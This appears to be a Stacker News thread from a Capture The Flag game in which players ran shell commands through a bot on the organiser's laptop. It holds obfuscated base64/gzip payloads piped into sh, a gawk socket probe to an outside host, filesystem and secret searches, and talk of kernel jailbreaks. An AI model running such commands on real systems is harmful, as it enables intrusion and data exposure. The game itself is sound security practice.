H4sIAAAAAAAAA9VWy3KbMBTd+yvYdyB6P7LoTLf9iYyAggChIOHw+vri2EkNseMw7TQTjcYLj8+5r3OPFfowPN4ABoxSTE6fmBIS/FQ2mL8PoOQgAKxEOhcsNzobOgnEQJHtTTd0LLUmVmHy5E0oIgQiEO2Vj4YpSn23A0orRtrO+0RDSgcuBj1ZVtW5962RC1wYF/Z+t3/cKxNgyAnYpT4cjjc4HLRI8nAIkGyZ6MyxhuEPwKIZ1A+HG+4DzDhfgjAijIgZ9OMpD5AMoLhHPIii3eYC786LFGIX/sl1OYMAQobpMsv+QHYdgjlBAiwhz4izhqybcaEV0fnv1z2/1DoQV8CXyLms6a1yuSsm4OLU1g2ty0rLlx5AEYG/HrAp4v874A3F3c3JvRQIIXpnuhBiyfHb0g5kUfsYkWim25lTyv0bcRwOfAcehN//Hd1FsuvCnY8U5DKZUe+JcbMaLw46vGZrUHC+srXEGTCVJtZTVRexKQUfqqYebF6acvLoOFwwl0zYs59d5cZQwBV3anNaKCcAB3lMpRpEBtuuGmpJYFk3YeLV/tcxQju2z1E4+naSEzv5aD7diEshXsXNgOAkViWkrqpxxkDj3VjpMbY0TXx7EuwDpA+LECDzVBWlI7DuUgiFm2JNG2bTLJENaLpXJ4Nf1ao3Fri0anLDqtlGqwYIfIJVv6NfKFY60ilKbUZkllWdNzlhXkk5WsFdEecMnuv3tCEfESydC18FKmucVpwYzjBoFOuzVKGxyTRmtgeuPZ/LDW6I18tQS9PUVaVJS5ETNNZO5KyeZEawQWXx6t4ogje4KUUrbpu2SUl0T8vceTipti2Scv5n6CfdjThZvIm25m2HupItsMqLqacjHnI2mDSNxdgnVsdv8gY+m5jsGmgNcEgPU5EjoBMG2oqjiaFXAP+q27uxwPPtRTceWkSSTduLOARCfMJDqzNCpcVvCQe2I7gLAAA=xargs: ls: terminated by signal 13
@ek so now everything is encrypted to an ephemeral key that unless you can break aes-128-ecb means you can't see my results. So you can still see what I do, but not what I see. So it will be hard to figure out what my next step is going to be.
I could run the commands myself because the output is deterministic
only if there is never any kernel bug with privilege escalation. Your 6.18.38 is at least patched against 2026-53359 (barely, lol) so at least it's not a one-liner to break out of jail and get net (since I'm sure that I could grep your nix repo for clang or python and get something usable eventually, then it's easy.) I could scan 3000 kernel vulns since .38 but I'm way too lazy. But make sure you shut it down before you go to bed.
This was def a little reckless. I hoped I didn't miss anything, but I knew it was likely I did (I almost forgot to clear the environment with the nsec for @ctfbot_ in it, lol). I'm glad it didn't take long for all flags to be found. I def didn't want to run this for a lot longer haha.
Thank you for testing and the valuable information! Running this bot more often will motivate me to learn more about kernel bugs.
The main problem I have with NixOs is that somehow it feels extremely painful to do a system rebuild so i procrastinate. I just hacked my intel mac into a nixos box and I'm already looking for excuses to just switch to fedora or gentoo (though arguably the latter is a pain in the butt too), and just use nix for userspace (which frankly, would ideally be everything except kernel, firmware and drivers). If this is not a throwaway VPN (the one thing I meant to find out and failed, so yey bubblewrap) I do think you should update to .48.
learn more about kernel bugs.
That's a box of the pandora's kind for a while now... like 20 per day on a good day? ughhh! Lots of very specific ones though.
It was meant to run on a throwaway VPS, but my internet here is really bad, so I couldn't upload the 1GB+ game filesystem to it haha. So I ended up running it on my personal laptop 🙈
Will run it on a throwaway VPS next time for sure. I won't have the element of (some) surprise on my side next time.
Actually, I'm sorry, I was wrong. Your command ran successfully in the current working directory. The bot replied with no output because there was no output. Will fix this for next time!
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: command not found
sh: line 1: strings: c
... (output truncated)
/home/ctfbot/prog/stacker.news/docker/db/000_seed.sql.gz: gzip compressed data, was "001_seed.sql", last modified: Wed Feb 18 02:42:32 2026, from Unix, original size modulo 2^32 77617616
/home/ctfbot/prog/stacker.news/docker/opensearch/seed-embeddings.gz: gzip compressed data, last modified: Sun Feb 22 01:57:29 2026, from Unix, original size modulo 2^32 97156693
/home/ctfbot/prog/stacker.news/lib/ots-mini/notary.js: JavaScript source, Unicode text, UTF-8 text
/home/ctfbot/prog/stacker.news/lib/ots-mini/tests/notary.test.js: JavaScript source, Unicode text, UTF-8 text
/home/ctfbot/prog/stacker.news/api/payIn/types/territoryUnarchive.js: JavaScript source, ASCII text
/home/ctfbot/prog/stacker.news/components/avatar.js: JavaScript source, ASCII text
/home/ctfbot/prog/stacker.news/.git/objects/c3/c1ac57f94df3b7ff7fb98af6e05880e13e416b: zlib compressed data
/home/ctfbot/prog/stacker.news/.git/objects/68/9f28e5da8328eb08c4e93f03876dc39b067e15: zlib compressed data
/home/ctfbot/prog/stacker.news/.git/objects/f5/f797c906c5d492082a41b8ab6622c99b3b2056: zlib compressed data
/home/ctfbot/prog/stacker.news/.git/objects/28/0b9f9bf3ce12da3022659a085b73e37771cb21: zlib compressed data
/home/ctfbot/prog/stacker.news/.git/objects/08/347093d64ba34dd0ddd47013b77aa5255282cd: zlib compressed data
/home/ctfbot/prog/stacker.news/.git/objects/2c/af70970aa20a8458e4c7d30b482ff72f85f9cf: zlib compressed data
/home/ctfbot/prog/stacker.news/.git/objects/4b/825dc642cb6eb9a060e54bf8d69288fbee4904: zlib compressed data
/home/ctfbot/prog/stacker.news/.git/objects/62/1f4f96e0d708303f97bd667f56e988dd248882: zlib compressed data
/home/ctfbot/prog/stacker.news/.git/objects/29/a7fde65b02e0796b7e6f34a9efbf8e777ffb43: zlib compressed data
/home/ctfbot/prog/stacker.news/.git/objects/65/71318129c454d50db204eecae48825e95f959f: zlib compressed data
/home/ctfbot/prog/stacker.news/.git/objects/cf/f3651d5e0be03ac5b9d301bab85822ee822934: zlib compressed data
/home/ctfbot/prog/stacker.news/.git/objects/89/0a350ff6243fe114ba1bc5c5893e7cd2cb60ab: zlib compressed data
/home/ctfbot/prog/stacker.news/.git/objects/6f/591032785e8a283279819cc2f7f060450de6c2: zlib compressed data
/home/ctfbot/prog/stacker.news/.git/objects/53/b54b80a443e723ccb2d0285cc1e891100105c4: zlib compressed data
/home/ctfbot/prog/stacker.news/.git/objects/23/6c60c16c04b12a8f7de44a1f2ed18b8f038cff: zlib compressed data
gawk: cmd. line:3: warning: remote host and port information (icanhazip.com, 80) invalid: Temporary failure in name resolution
gawk: cmd. line:3: fatal: cannot open two way pipe `/inet/tcp/0/icanhazip.com/80' for input/output: Resource temporarily unavailable
H4sIAAAAAAAAA6VW7W6rOBT8v0+RFyDx8bcrrfb/vkQFBoPBOGCnfD39kra326A0l/ZKJCKRZsb2mTnHSUiSt+cAB84Yoe/fBBA5/Jv6w/r/AZRAB4QDm/Ix5HaUXFo5EWUrhU2aIcuolMm5K3yMLiFHeiTHSxqO5XLMw/BX8pUIlhw2IkzRQVgVfO8Q02YKhttq6DWT2GC5fBJBR6D7VBQVGxUxpPU80KrSOeS8aue0qSueOoUGPPAs0SG9FB9abarDOSar4Cq6R5EyhTeKUvaesobSlsi5L/E4ziGqCgkJK8Yk4dJ2+UvbfYjCqtalF139Y/O/oRBZYaikRvFCcCoMM0gB5ERLnaZUAgFNSPabZUnJN8tq7LikQ54jx/rSLd2QcVNHIX2Gy37JNzV9yE6QUht2NzDXYYpQbmdkEMai14tHNTF1FV11w453nSwovN1CF6pcms7UQut6rmdJl5lwZYZ5dlnmP0S6cM6KtYh4PdirBgq0afpy6oKqXdtabqYcLdPQTNMk0M3qrlZ7+i7g5Gz2I9Dp/Gq6c/7iivgzhsKX1hcxId+HFxf9I9Bp/fn0oHCYYHpbuXeOo/bmmNt4eQSmXHwJ/hrHEd42sTGFzpthxKWoSYY5LJGkirLJdX5YbNLNl+rsyRHI+vprl5i9Rv+hMxlCaKO1+M4w6qKoneXVEm3WxWmcOuh53jb+0yHy34aLwzZcS9d3mRJRBk1hyQfdRTrSGaEKlTCwTQ/75X5YtfYEjTDYtGaAweTRKtJgYKKV1TI77ZiDOgzBoXCzHdjZmYXciODYpGawi4foBilLBrHOggMeQjqGz2dGblsGUOh7gqa8haysu1mYkffW47ltOQWDbk87yax/+gHm9IpbtzK9PVujEiSQRHet+qipwQYClaJ1IzOGaFnXrEwbTKwBIGvBqavD3bI+riewTRTAut63fKHaz2XvulqJngxDNYZqbvg6ib4yENtVW6bU1kANbT0uQ0wh2mZcVLksc95ZUnEi9Az/Zw/fZg+9Zw8cy9Y55+PoM53rVKuwRDXZyWvsVWA38wTWsX0t8bcxp1ilofg58vRHulf09SMe9NLDGkB812PPL7EIz2/3laO49sdyecQjxX2e5FKFIs13cKzXRHXf70n/YvWORRBJ4QsCdy73EFB1f7IkpVtHaRrmPSTA1H2Swg878Gu87k+oRJ9D8ezTtojHag8R3d6Jb4jWQXm9Ff4HwXmjfrgLAAA=xargs: ls: terminated by signal 13
ls: cannot access '06j2hg86glhfxv908x52nwlvxv6dnlba-curl-8.20.0.tar.xz.drv/bin': Not a directory
ls: cannot access '0bk0rj2qqfpwnaqgqiz0qbdnmp5mjkh9-curl-8.18.0/bin': No such file or directory
ls: cannot access '0cql0zjlbhzkmiblj87xkpmxngjljzr2-curl-0.4.46.drv/bin': Not a directory
ls: cannot access '0dng5iaq8070gb59ax8f1svkxm941jmp-crate-curl-sys-0.4.72+curl-8.6.0.tar.gz.drv/bin': Not a directory
ls: cannot access '0f0874baj15qkm3f60prqykhybn5dcrs-curl-8_15_0.tar.gz.drv/bin': Not a directory
ls: cannot access '0hd2dnf49ffkvrlg46ra99yn87qibg61-crate-curl-0.4.46.tar.gz.drv/bin': Not a directory
ls: cannot access '0jm3dk74l7630pa6wfda2ypfh36nw0qs-curl-8.21.0.drv/bin': Not a directory
ls: cannot access '0m9lpmkkh4s52q85bhq8g6mz9f43l2ji-curl-8.12.1.drv/bin': Not a directory
ls: cannot access '0ndscj4hw5jgqr1zassicjdnmwzhvy3c-curl-8.20.0.drv/bin': Not a directory
ls: cannot access '0nxmk9s0nar8zw5y3xg6xlddb8ywcnhb-curl-8.12.1.drv/bin': Not a directory
ls: cannot access '0wg2mcdbz8fd9cf9vqh8im9zmjr1gqjs-curl-8.14.1.tar.xz.drv/bin': Not a directory
ls: cannot access '0wj4x9yyqzmpks4ghvy8csnkga8j7cps-curl-8.20.0.tar.xz.drv/bin': Not a directory
ls: cannot access '11filn4dny1rwh4rs5v4kdhx78fjcqz6-curl-8.19.0.drv/bin': Not a directory
ls: cannot access '14nq86w0sdg576kmf7hl8vd243qcyszd-curl-8.19.0.drv/bin': Not a directory
ls: cannot access '15dvvdxrvaw22g67dm9wn4ljajj8np5b-curl-8.21.0.drv/bin': Not a directory
ls: cannot access '168mgcn213j5l8ibhhfbf8kcv4d81nax-curl-8.14.1-man/bin': No such file or directory
ls: cannot access '16irphs0slnii5qqkhpvp2da5gvjhlx2-curl-0.4.46.drv/bin': Not a directory
ls: cannot access '16z4nz3akhkv5r8bs2dfi9ivgzq9yz8l-curl-8.12.1.drv/bin': Not a directory
ls: cannot access '199d0lp618n16dsfz1xfxvbfn2xm6yvy-curl-8.18.0.drv/bin': Not a directory
ls: cannot access '1d3qcpinh0asj46j2ygcfpxiwq2r0byq-curl-sys-0.4.84+curl-8.17.0.drv/bin': Not a directory
ls: cannot access '1f1hd02n9l1z37kkcpslxzj3nyyjyn7l-curl-8.20.0-man/bin': No such file or directory
ls: cannot access '1fihipa062xl2drcsm686iscb0zxy70h-curl-8.20.0.drv/bin': Not a directory
ls: cannot access '1mgim1zi9vwi21a5fr8rx1k0p1g18pqq-curl-sys-0.4.72+curl-8.6.0.drv/bin': Not a directory
ls: cannot access '1mzf4bxmkshmjciw1mmblkx9z5hyn7ca-curl-8.14.1.tar.xz.drv/bin': Not a directory
ls: cannot access '1p0l3y1j8lw3b4sryk033y13ixj1i596-curl-8.11.0.tar.xz.drv/bin': Not a directory
ls: cannot access '1pqdamrgqkml4ji62k7v85m860z046c5-curl-8.21.0.drv/bin': Not a directory
ls: cannot access '1vd1cj1lv5ccmdl1libim8ljr13ly0sb-curl-0.4.46.drv/bin': Not a directory
ls: cannot access '1widgpd47fz35xjvxx4nr762rnyivycf-curl-8.11.0.drv/bin': Not a directory
ls: cannot access '1xw9lsf6893mp0ia7x29rrfv6gf6wlnw-python3.14-curl-cffi-0.16.0.drv/bin': Not a directory
ls: cannot access '2281r34yqnkjwp5033f68gzpr8lssfak-curl-8.12.1/bin': No such file or directory
ls: cannot access '23izrnf75zr3y4rj2j9wnahzx392y3np-curl-0.4.49.drv/bin': Not a directory
ls: cannot access '24fcmlm7g8pwabm6p6mfpwgvz42cw30r-curl-8.4.0.drv/bin': Not a directory
ls: cannot access '29rn8xfs3nmmsf2gip2cs5cqgck3h7s6-curl-8.17.0.drv/bin': Not a directory
ls: cannot access '2ghpvnzn1w3kkpg1xk6rj1fvl7cjhhmn-curl-8.19.0.drv/bin': Not a directory
ls: cannot access '2glid80bsdhnxxp08z2xq7kwypvdnbk6-curl-8.18.0.drv/bin': Not a directory
ls: cannot access '2p7xfa8ayys9x6p89r3vbx1f1bhwbjac-crate-curl-0.4.46.tar.gz.drv/bin': Not a directory
ls: cannot access '2s2lg3i8j9dga5dniwb0pn6grlki3kdn-crate-curl-sys-0.4.72+curl-8.6.0.tar.gz.drv/bin': Not a directory
ls: cannot access '2sqa98i1xpcc6nbalbj1d088qcg4c2cx-curl-8.12.1.drv/bin': Not a directory
ls: cannot access '317r0xl4hj7m548rf142k7j99bv50z7a-crate-curl-0.4.46.tar.gz.drv/bin': Not a directory
ls: cannot access '371jlyi7m3jb7kvmvsskwzygx7cjmpsa-curl-0.4.49.drv/bin': Not a directory
ls: cannot access '3748hn31hi5zkjw6ydwd56dwi724f3a2-curl-8.21.0-man/bin': No such file or directory
ls: cannot access '38d6xc8spj64y1pn80h1glcl71akz65h-curl-0.4.44.drv/bin': Not a direc
... (output truncated)
It was an edit :P My original comment lacked the '$'. When I saw I wasn't getting a response I looked around and saw other people using the dollar sign. So I edited to see if it would go through without having to pay 100 sats for another message. It's cool though, this is a fun challenge :)
@ek i think that now it's donebash: line 1: openssl: command not found
bash: line 1: openssl: command not found
bash: line 1: openssl: command not found
bash: line 1: openssl: command not found
@
Congratulations, you figured out how to get here!
*party sounds*
Welcome to the 2nd
Stacker News
__ ___
____/ /_/ _/
/ __/ __/ _/
\__/\__/_/
challenge
!!!
There are FOUR flags in this home directory. They are in this format:
s3Cur1tY_c7f{[A-Za-z0-9-_]+}
Every flag pays 10,000 sats!
.
.
If you don't know what any of this means: don't worry, you're playing Capture The Flag correctly!
---
PS: Please don't hack me! hahaha
total 16K
drwxrwxr-x+ 2 1000 100 4.0K Aug 29 00:42 .
drwxrwxr-x+ 6 65534 65534 4.0K Aug 29 18:09 ..
/home/ctfbot/prog/stacker.news/wallets/server/wrap.js:99: case 14: // payment secret
/home/ctfbot/prog/stacker.news/wallets/server/resolvers/protocol.js:180: // Only upserts that persist a vault-encrypted secret depend on the current vault key.
/home/ctfbot/prog/stacker.news/wallets/server/protocols/lndGrpc.js:67: preimage: invoice.secret,
/home/ctfbot/prog/stacker.news/wallets/server/persist.js:8:// `config` JSON mirror over Vault-encrypted secrets). The GraphQL resolvers in
/home/ctfbot/prog/stacker.news/wallets/server/persist.js:37:// True when the config persists a vault-encrypted secret — the case that needs
/home/ctfbot/prog/stacker.news/wallets/server/persist.js:210:// rotation committed meanwhile, so we never persist a send secret under a stale
/home/ctfbot/prog/stacker.news/wallets/lib/protocols/lnc.js:23: 'Grab the `pairing_secret_mnemonic` from the output and paste it here.'
/home/ctfbot/prog/stacker.news/wallets/lib/protocols/clink.js:40: name: 'secretKey',
/home/ctfbot/prog/stacker.news/wallets/lib/protocols/docs/dev/lnc.md:22:Grab the `pairing_secret_mnemonic` from the output and that's your pairing phrase.
/home/ctfbot/prog/stacker.news/wallets/lib/protocols/docs/dev/lnc.md:27:$ sndev cli litd sessions add --type account --label sndev --account_id $(sndev cli litd accounts create --balance 100000 | jq -r '.account.id') | jq -r '.session.pairing_secret_mnemonic'
/home/ctfbot/prog/stacker.news/wallets/lib/protocols/docs/dev/spark.md:39:`SPARK_SERVICE_MNEMONIC` secret in both the web and worker environments; treat
/home/ctfbot/prog/stacker.news/wallets/lib/protocols/docs/dev/spark.md:40:it as a required production deployment secret. The web process uses it for
/home/ctfbot/prog/stacker.news/wallets/lib/protocols/nwc.js:62: 'It must NOT allow spending (`pay_invoice`, `pay_keysend`, `multi_pay_invoice`, `multi_pay_keysend`): this secret is stored on our server, so attach a receive-only connection.'
/home/ctfbot/prog/stacker.news/wallets/lib/protocols/nwc.js:100: const { walletPubkey, secret, relayUrls } = parseNwcUrl(url)
/home/ctfbot/prog/stacker.news/wallets/lib/protocols/nwc.js:104: secret
/home/ctfbot/prog/stacker.news/wallets/lib/validate.js:30: let relayUrls, walletPubkey, secret
/home/ctfbot/prog/stacker.news/wallets/lib/validate.js:32: ({ relayUrls, walletPubkey, secret } = parseNwcUrl(url))
/home/ctfbot/prog/stacker.news/wallets/lib/validate.js:44: string().required('secret required').trim().matches(/^[0-9a-fA-F]{64}$/, 'secret must be 64 hex chars').validateSync(secret)
/home/ctfbot/prog/stacker.news/wallets/lib/validate.js:67: secret: url.searchParams.get('secret'),
/home/ctfbot/prog/stacker.news/wallets/client/components/form/hooks/draft.js:41:// A fieldless protocol (WebLN) has no inputs, so its `enabled` flag *is* its
/home/ctfbot/prog/stacker.news/wallets/client/components/form/hooks/draft.js:58:// A content hash of a draft — its config plus enabled flag. Two drafts with the
/home/ctfbot/prog/stacker.news/wallets/client/components/form/hooks/draft.js:59:// same config and enabled flag hash equal regardless of origin — this is how
/home/ctfbot/prog/stacker.news/wallets/client/components/onboarding.js:179: <p>Your recovery secret is being generated and encrypted on this device.</p>
/home/ctfbot/prog/stacker.news/wallets/client/protocols/clink.js:20:export async function sendPayment (bolt11, { ndebit, secretKey }, { signal, timeout = WALLET_SEND_PAYMENT_TIMEOUT_MS } = {}) {
/home/ctfbot/prog/stacker.news/wallets/client/protocols/clink.js:31: SendNdebitRequest(pool, Buffer.from(secretKey, 'hex'), [relay], pubkey, request, Math.ceil(timeout / 1000)),
/home/ctfbot/prog/stacker.news/wallets/client/protocols/clink.js:64: // For budgets to work, we need to encrypt and sign the debit request events with the same secret
... (output truncated)
PWD=/home/ctfbot
HOME=/home/ctfbot
TERM=xterm
SHLVL=1
PATH=/run/bin
_=/run/bin/env
/run/bin/sh: line 1: ps: command not found
cat: /home/ctfbot/.bash_history: No such file or directory
END OF GAME ANNOUNCEMENT
All four flags (+1) have been found. The winners will be announced soon.
@ctfbot_ has been turned off before @optimism finds a way to encrypt the host system, haha
THANK YOU FOR PLAYING, YOU WERE ALL AMAZING!!
$ find ~ -type f -print0 | xargs -0 -I{} sh -c 'f=$1; { for c in cat "zcat -f" "base64 -d" "base32 -d" "xxd -r -p" rev tac; do $c < "$f"; done; tr -d "[:space:]" < "$f"; tr "A-Za-z" "N-ZA-Mn-za-m" < "$f"; } 2>/dev/null | grep -aoE "s3Cur1tY_c7f{[A-Za-z0-9_-]+}|czNDdXIxdFlf[A-Za-z0-9+/=]|Q3VyMXRZX2M3[A-Za-z0-9+/=]|M0N1cjF0WV9j[A-Za-z0-9+/=]|73334375723174595[fF]633766[0-9a-fA-F]" | sed "s|^|$f: |"' _ {}
/home/ctfbot/Downloads/snz/issue15web.pdf: czNDdXIxdFlfYzdme3cxbGxfeTB1X2IzX3RoM19mMXI1N3FxX30= /home/ctfbot/Downloads/snz/issue15web.pdf: czNDdXIxdFlfYzdme3kwdV9tdTU3XzgzX3IzNDExeV85MDBkX30K /home/ctfbot/Downloads/snz/issue15web.pdf: czNDdXIxdFlfYzdme3cxbGxfeTB1X2IzX3RoM19mMXI1N3FxX30= /home/ctfbot/Downloads/snz/issue15web.pdf: czNDdXIxdFlfYzdme3kwdV9tdTU3XzgzX3IzNDExeV85MDBkX30K /home/ctfbot/Downloads/snz/issue15web.pdf: czNDdXIxdFlfYzdme3kwdV9tdTU3XzgzX3IzNDExeV85MDBkX30K /home/ctfbot/Downloads/snz/issue15web.pdf: czNDdXIxdFlfYzdme3cxbGxfeTB1X2IzX3RoM19mMXI1N3FxX30= /home/ctfbot/Downloads/snz/issue15web.pdf: czNDdXIxdFlfYzdme3cxbGxfeTB1X2IzX3RoM19mMXI1N3FxX30= /home/ctfbot/Downloads/snz/issue15web.pdf: czNDdXIxdFlfYzdme3kwdV9tdTU3XzgzX3IzNDExeV85MDBkX30K /home/ctfbot/Downloads/snz/issue64web.pdf: s3Cur1tY_c7f{d1d_y0u_u53_9r3p_0r_pdf1nf0_} /home/ctfbot/Downloads/snz/issue64web.pdf: s3Cur1tY_c7f{d1d_y0u_u53_9r3p_0r_pdf1nf0_} /home/ctfbot/Downloads/snz/issue64web.pdf: s3Cur1tY_c7f{d1d_y0u_u53_9r3p_0r_pdf1nf0_} /home/ctfbot/Downloads/snz/issue64web.pdf: s3Cur1tY_c7f{d1d_y0u_u53_9r3p_0r_pdf1nf0_} /home/ctfbot/Downloads/snz/issue64web.pdf: s3Cur1tY_c7f{d1d_y0u_u53_9r3p_0r_pdf1nf0_} /home/ctfbot/Downloads/snz/issue64web.pdf: s3Cur1tY_c7f{d1d_y0u_u53_9r3p_0r_pdf1nf0_} /home/ctfbot/Downloads/snz/issue64web.pdf: s3Cur1tY_c7f{d1d_y0u_u53_9r3p_0r_pdf1nf0_} /home/ctfbot/Downloads/snz/issue64web.pdf: s3Cur1tY_c7f{d1d_y0u_u53_9r3p_0r_pdf1nf0_} (timed out after 5s)I think I found it?
s3Cur1tY_c7f{y0u_mu57_83_r3411y_900d_}
Are there more than 4?
s3Cur1tY_c7f{w1ll_y0u_b3_th3_f1r57qq_}
No, you found the last one! Congratulations! Very impressive command. Could you explain it? You are definitely nominated for the craziest command haha
Haha, AI-assisted, I confess. But high level it's just walking through the file contents in different encodings
Also, aren't there 5 flags then?
s3Cur1tY_c7f{d1d_y0u_u53_9r3p_0r_pdf1nf0_}
s3Cur1tY_c7f{w45_7h47_57111_700_345y_}
s3Cur1tY_c7f{y0u_mu57_83_r3411y_900d_0r_4_d3v}
s3Cur1tY_c7f{y0u_mu57_83_r3411y_900d_}
s3Cur1tY_c7f{w1ll_y0u_b3_th3_f1r57qq_}
lol, I forgot a flag. I thought I removed
s3Cur1tY_c7f{w1ll_y0u_b3_th3_f1r57qq_}.Where did you find this flag?? hahaha
The last two flags were both found in /home/ctfbot/Downloads/snz/issue15web.pdf
$ echo H4sIAMhYk2oAAxWLQQqAIBQF953irdyJQtEd2nYDUzFBSr5GUnb3dPVmGJ42EIcvIuWTrABjCAkVjmyEvig0LopcAl/erzceFOUVTSp2qwy4xiil7KfHxzabSnaewG/I4QfKRIIWXwAAAA== | base64 -d | gunzip | sh
Nice way to extract more data
secretly learning from you
next one will be fun
and the one after that = rekt
I already know what I have to do before the next one
I'll make sure to shoot the machine the bot runs on if it makes any unexpected noises
Yeah just copy the binaries into a dedicated bindir, also, dont copy git or ms git shims. and bash->dash, gawk->awk
thx
git was required for the challenge, at least for the intended solution
H4sIAAAAAAAAA9VWy3KbMBTd+yvYdyB6P7LoTLf9iYyAggChIOHw+vri2EkNseMw7TQTjcYLj8+5r3OPFfowPN4ABoxSTE6fmBIS/FQ2mL8PoOQgAKxEOhcsNzobOgnEQJHtTTd0LLUmVmHy5E0oIgQiEO2Vj4YpSn23A0orRtrO+0RDSgcuBj1ZVtW5962RC1wYF/Z+t3/cKxNgyAnYpT4cjjc4HLRI8nAIkGyZ6MyxhuEPwKIZ1A+HG+4DzDhfgjAijIgZ9OMpD5AMoLhHPIii3eYC786LFGIX/sl1OYMAQobpMsv+QHYdgjlBAiwhz4izhqybcaEV0fnv1z2/1DoQV8CXyLms6a1yuSsm4OLU1g2ty0rLlx5AEYG/HrAp4v874A3F3c3JvRQIIXpnuhBiyfHb0g5kUfsYkWim25lTyv0bcRwOfAcehN//Hd1FsuvCnY8U5DKZUe+JcbMaLw46vGZrUHC+srXEGTCVJtZTVRexKQUfqqYebF6acvLoOFwwl0zYs59d5cZQwBV3anNaKCcAB3lMpRpEBtuuGmpJYFk3YeLV/tcxQju2z1E4+naSEzv5aD7diEshXsXNgOAkViWkrqpxxkDj3VjpMbY0TXx7EuwDpA+LECDzVBWlI7DuUgiFm2JNG2bTLJENaLpXJ4Nf1ao3Fri0anLDqtlGqwYIfIJVv6NfKFY60ilKbUZkllWdNzlhXkk5WsFdEecMnuv3tCEfESydC18FKmucVpwYzjBoFOuzVKGxyTRmtgeuPZ/LDW6I18tQS9PUVaVJS5ETNNZO5KyeZEawQWXx6t4ogje4KUUrbpu2SUl0T8vceTipti2Scv5n6CfdjThZvIm25m2HupItsMqLqacjHnI2mDSNxdgnVsdv8gY+m5jsGmgNcEgPU5EjoBMG2oqjiaFXAP+q27uxwPPtRTceWkSSTduLOARCfMJDqzNCpcVvCQe2I7gLAAA=xargs: ls: terminated by signal 13$ echo H4sIAJFZk2oAAxXMQQ7CIBBA0b2nIN3DDCQttqdo4gkqGQspIjKoDfHw2sXfvMWHFHbg+igEWG5tGN9Zp4hP4/cWVoPeDcibNW0w0r1KlGelrUJ5DQmODhO+1swT/D+L26ioRB+GUOnOoPveWhzFV6yFsujmyyTmSAtTd/oBzWM5k3wAAAA= | base64 -d | gunzip | sh
curl: (6) Could not resolve host: stacker.news (Could not contact DNS servers)$ find / -name c7f
find: '/proc/tty/driver': Permission denied (timed out after 5s)$ sudo find / -name c7f
#1557755
I can’t afford that man lol
That’s part of the game 👀
Everyone is chasing the same flags, revealing information, and waiting (or paying more) to run the next command.
you sneaky!
just realized that i'm forced to wait 10 minutes after every command to not break my bank
interesting game theory here about watching what other people do vs submitting your own command
To be honest, like the Coca-Cola CEO once said:
I didn’t consider this when writing the game, but when I discovered this mechanic while playing the game myself, I decided to keep it in haha
